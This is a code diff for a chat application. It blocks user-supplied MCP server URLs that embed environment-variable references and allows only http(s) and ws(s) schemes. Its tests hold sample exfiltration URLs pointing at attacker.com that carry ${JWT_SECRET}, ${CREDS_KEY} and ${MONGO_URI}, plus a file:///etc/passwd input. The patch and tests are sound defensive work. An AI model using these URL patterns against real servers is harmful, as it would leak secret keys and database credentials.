diff --git a/api/server/routes/__tests__/mcp.spec.js b/api/server/routes/__tests__/mcp.spec.js index 009b602604..e0cb680169 100644 --- a/api/server/routes/__tests__/mcp.spec.js +++ b/api/server/routes/__tests__/mcp.spec.js @@ -1819,6 +1819,51 @@ describe('MCP Routes', () => { expect(response.body.message).toBe('Invalid configuration'); }); + it('should reject SSE URL containing env variable references', async () => { + const response = await request(app) + .post('/api/mcp/servers') + .send({ + config: { + type: 'sse', + url: 'http://attacker.com/?secret=${JWT_SECRET}', + }, + }); + + expect(response.status).toBe(400); + expect(response.body.message).toBe('Invalid configuration'); + expect(mockRegistryInstance.addServer).not.toHaveBeenCalled(); + }); + + it('should reject streamable-http URL containing env variable references', async () => { + const response = await request(app) + .post('/api/mcp/servers') + .send({ + config: { + type: 'streamable-http', + url: 'http://attacker.com/?key=${CREDS_KEY}&iv=${CREDS_IV}', + }, + }); + + expect(response.status).toBe(400); + expect(response.body.message).toBe('Invalid configuration'); + expect(mockRegistryInstance.addServer).not.toHaveBeenCalled(); + }); + + it('should reject websocket URL containing env variable references', async () => { + const response = await request(app) + .post('/api/mcp/servers') + .send({ + config: { + type: 'websocket', + url: 'ws://attacker.com/?secret=${MONGO_URI}', + }, + }); + + expect(response.status).toBe(400); + expect(response.body.message).toBe('Invalid configuration'); + expect(mockRegistryInstance.addServer).not.toHaveBeenCalled(); + }); + it('should return 500 when registry throws error', async () => { const validConfig = { type: 'sse', @@ -1918,6 +1963,51 @@ describe('MCP Routes', () => { expect(response.body.errors).toBeDefined(); }); + it('should reject SSE URL containing env variable references', async () => { + const response = await request(app) + .patch('/api/mcp/servers/test-server') + .send({ + config: { + type: 'sse', + url: 'http://attacker.com/?secret=${JWT_SECRET}', + }, + }); + + expect(response.status).toBe(400); + expect(response.body.message).toBe('Invalid configuration'); + expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled(); + }); + + it('should reject streamable-http URL containing env variable references', async () => { + const response = await request(app) + .patch('/api/mcp/servers/test-server') + .send({ + config: { + type: 'streamable-http', + url: 'http://attacker.com/?key=${CREDS_KEY}', + }, + }); + + expect(response.status).toBe(400); + expect(response.body.message).toBe('Invalid configuration'); + expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled(); + }); + + it('should reject websocket URL containing env variable references', async () => { + const response = await request(app) + .patch('/api/mcp/servers/test-server') + .send({ + config: { + type: 'websocket', + url: 'ws://attacker.com/?secret=${MONGO_URI}', + }, + }); + + expect(response.status).toBe(400); + expect(response.body.message).toBe('Invalid configuration'); + expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled(); + }); + it('should return 500 when registry throws error', async () => { const validConfig = { type: 'sse', diff --git a/packages/data-provider/specs/mcp.spec.ts b/packages/data-provider/specs/mcp.spec.ts new file mode 100644 index 0000000000..573769c4fa --- /dev/null +++ b/packages/data-provider/specs/mcp.spec.ts @@ -0,0 +1,147 @@ +import { SSEOptionsSchema, MCPServerUserInputSchema } from '../src/mcp'; + +describe('MCPServerUserInputSchema', () => { + describe('env variable exfiltration prevention', () => { + it('should confirm admin schema resolves env vars (attack vector baseline)', () => { + process.env.FAKE_SECRET = 'leaked-secret-value'; + const adminResult = SSEOptionsSchema.safeParse({ + type: 'sse', + url: 'http://attacker.com/?secret=${FAKE_SECRET}', + }); + expect(adminResult.success).toBe(true); + if (adminResult.success) { + expect(adminResult.data.url).toContain('leaked-secret-value'); + } + delete process.env.FAKE_SECRET; + }); + + it('should reject the same URL through user input schema', () => { + process.env.FAKE_SECRET = 'leaked-secret-value'; + const userResult = MCPServerUserInputSchema.safeParse({ + type: 'sse', + url: 'http://attacker.com/?secret=${FAKE_SECRET}', + }); + expect(userResult.success).toBe(false); + delete process.env.FAKE_SECRET; + }); + }); + + describe('env variable rejection', () => { + it('should reject SSE URLs containing env variable patterns', () => { + const result = MCPServerUserInputSchema.safeParse({ + type: 'sse', + url: 'http://attacker.com/?secret=${FAKE_SECRET}', + }); + expect(result.success).toBe(false); + }); + + it('should reject streamable-http URLs containing env variable patterns', () => { + const result = MCPServerUserInputSchema.safeParse({ + type: 'streamable-http', + url: 'http://attacker.com/?jwt=${JWT_SECRET}', + }); + expect(result.success).toBe(false); + }); + + it('should reject WebSocket URLs containing env variable patterns', () => { + const result = MCPServerUserInputSchema.safeParse({ + type: 'websocket', + url: 'ws://attacker.com/?secret=${FAKE_SECRET}', + }); + expect(result.success).toBe(false); + }); + }); + + describe('protocol allowlisting', () => { + it('should reject file:// URLs for SSE', () => { + const result = MCPServerUserInputSchema.safeParse({ + type: 'sse', + url: 'file:///etc/passwd', + }); + expect(result.success).toBe(false); + }); + + it('should reject ftp:// URLs for streamable-http', () => { + const result = MCPServerUserInputSchema.safeParse({ + type: 'streamable-http', + url: 'ftp://internal-server/data', + }); + expect(result.success).toBe(false); + }); + + it('should reject http:// URLs for WebSocket', () => { + const result = MCPServerUserInputSchema.safeParse({ + type: 'websocket', + url: 'http://example.com/ws', + }); + expect(result.success).toBe(false); + }); + + it('should reject ws:// URLs for SSE', () => { + const result = MCPServerUserInputSchema.safeParse({ + type: 'sse', + url: 'ws://example.com/sse', + }); + expect(result.success).toBe(false); + }); + }); + + describe('valid URL acceptance', () => { + it('should accept valid https:// SSE URLs', () => { + const result = MCPServerUserInputSchema.safeParse({ + type: 'sse', + url: 'https://mcp-server.com/sse', + }); + expect(result.success).toBe(true); + if (result.success) { + expect(result.data.url).toBe('https://mcp-server.com/sse'); + } + }); + + it('should accept valid http:// SSE URLs', () => { + const result = MCPServerUserInputSchema.safeParse({ + type: 'sse', + url: 'http://mcp-server.com/sse', + }); + expect(result.success).toBe(true); + }); + + it('should accept valid wss:// WebSocket URLs', () => { + const result = MCPServerUserInputSchema.safeParse({ + type: 'websocket', + url: 'wss://mcp-server.com/ws', + }); + expect(result.success).toBe(true); + if (result.success) { + expect(result.data.url).toBe('wss://mcp-server.com/ws'); + } + }); + + it('should accept valid ws:// WebSocket URLs', () => { + const result = MCPServerUserInputSchema.safeParse({ + type: 'websocket', + url: 'ws://mcp-server.com/ws', + }); + expect(result.success).toBe(true); + }); + + it('should accept valid https:// streamable-http URLs', () => { + const result = MCPServerUserInputSchema.safeParse({ + type: 'streamable-http', + url: 'https://mcp-server.com/http', + }); + expect(result.success).toBe(true); + if (result.success) { + expect(result.data.url).toBe('https://mcp-server.com/http'); + } + }); + + it('should accept valid http:// streamable-http URLs with "http" alias', () => { + const result = MCPServerUserInputSchema.safeParse({ + type: 'http', + url: 'http://mcp-server.com/mcp', + }); + expect(result.success).toBe(true); + }); + }); +}); diff --git a/packages/data-provider/src/mcp.ts b/packages/data-provider/src/mcp.ts index 3911e91ed0..3ad296c4ec 100644 --- a/packages/data-provider/src/mcp.ts +++ b/packages/data-provider/src/mcp.ts @@ -223,6 +223,23 @@ const omitServerManagedFields = >(schema: T oauth_headers: true, }); +const envVarPattern = /\$\{[^}]+\}/; +const isWsProtocol = (val: string): boolean => /^wss?:/i.test(val); +const isHttpProtocol = (val: string): boolean => /^https?:/i.test(val); + +/** + * Builds a URL schema for user input that rejects ${VAR} env variable patterns + * and validates protocol constraints without resolving environment variables. + */ +const userUrlSchema = (protocolCheck: (val: string) => boolean, message: string) => + z + .string() + .refine((val) => !envVarPattern.test(val), { + message: 'Environment variable references are not allowed in URLs', + }) + .pipe(z.string().url()) + .refine(protocolCheck, { message }); + /** * MCP Server configuration that comes from UI/API input only. * Omits server-managed fields like startup, timeout, customUserVars, etc. @@ -232,11 +249,23 @@ const omitServerManagedFields = >(schema: T * Stdio allows arbitrary command execution and should only be configured * by administrators via the YAML config file (librechat.yaml). * Only remote transports (SSE, HTTP, WebSocket) are allowed via the API. + * + * SECURITY: URL fields use userUrlSchema instead of the admin schemas' + * extractEnvVariable transform to prevent env variable exfiltration + * through user-controlled URLs (e.g. http://attacker.com/?k=${JWT_SECRET}). + * Protocol checks use positive allowlists (http(s) / ws(s)) to block + * file://, ftp://, javascript:, and other non-network schemes. */ export const MCPServerUserInputSchema = z.union([ - omitServerManagedFields(WebSocketOptionsSchema), - omitServerManagedFields(SSEOptionsSchema), - omitServerManagedFields(StreamableHTTPOptionsSchema), + omitServerManagedFields(WebSocketOptionsSchema).extend({ + url: userUrlSchema(isWsProtocol, 'WebSocket URL must use ws:// or wss://'), + }), + omitServerManagedFields(SSEOptionsSchema).extend({ + url: userUrlSchema(isHttpProtocol, 'SSE URL must use http:// or https://'), + }), + omitServerManagedFields(StreamableHTTPOptionsSchema).extend({ + url: userUrlSchema(isHttpProtocol, 'Streamable HTTP URL must use http:// or https://'), + }), ]); export type MCPServerUserInput = z.infer;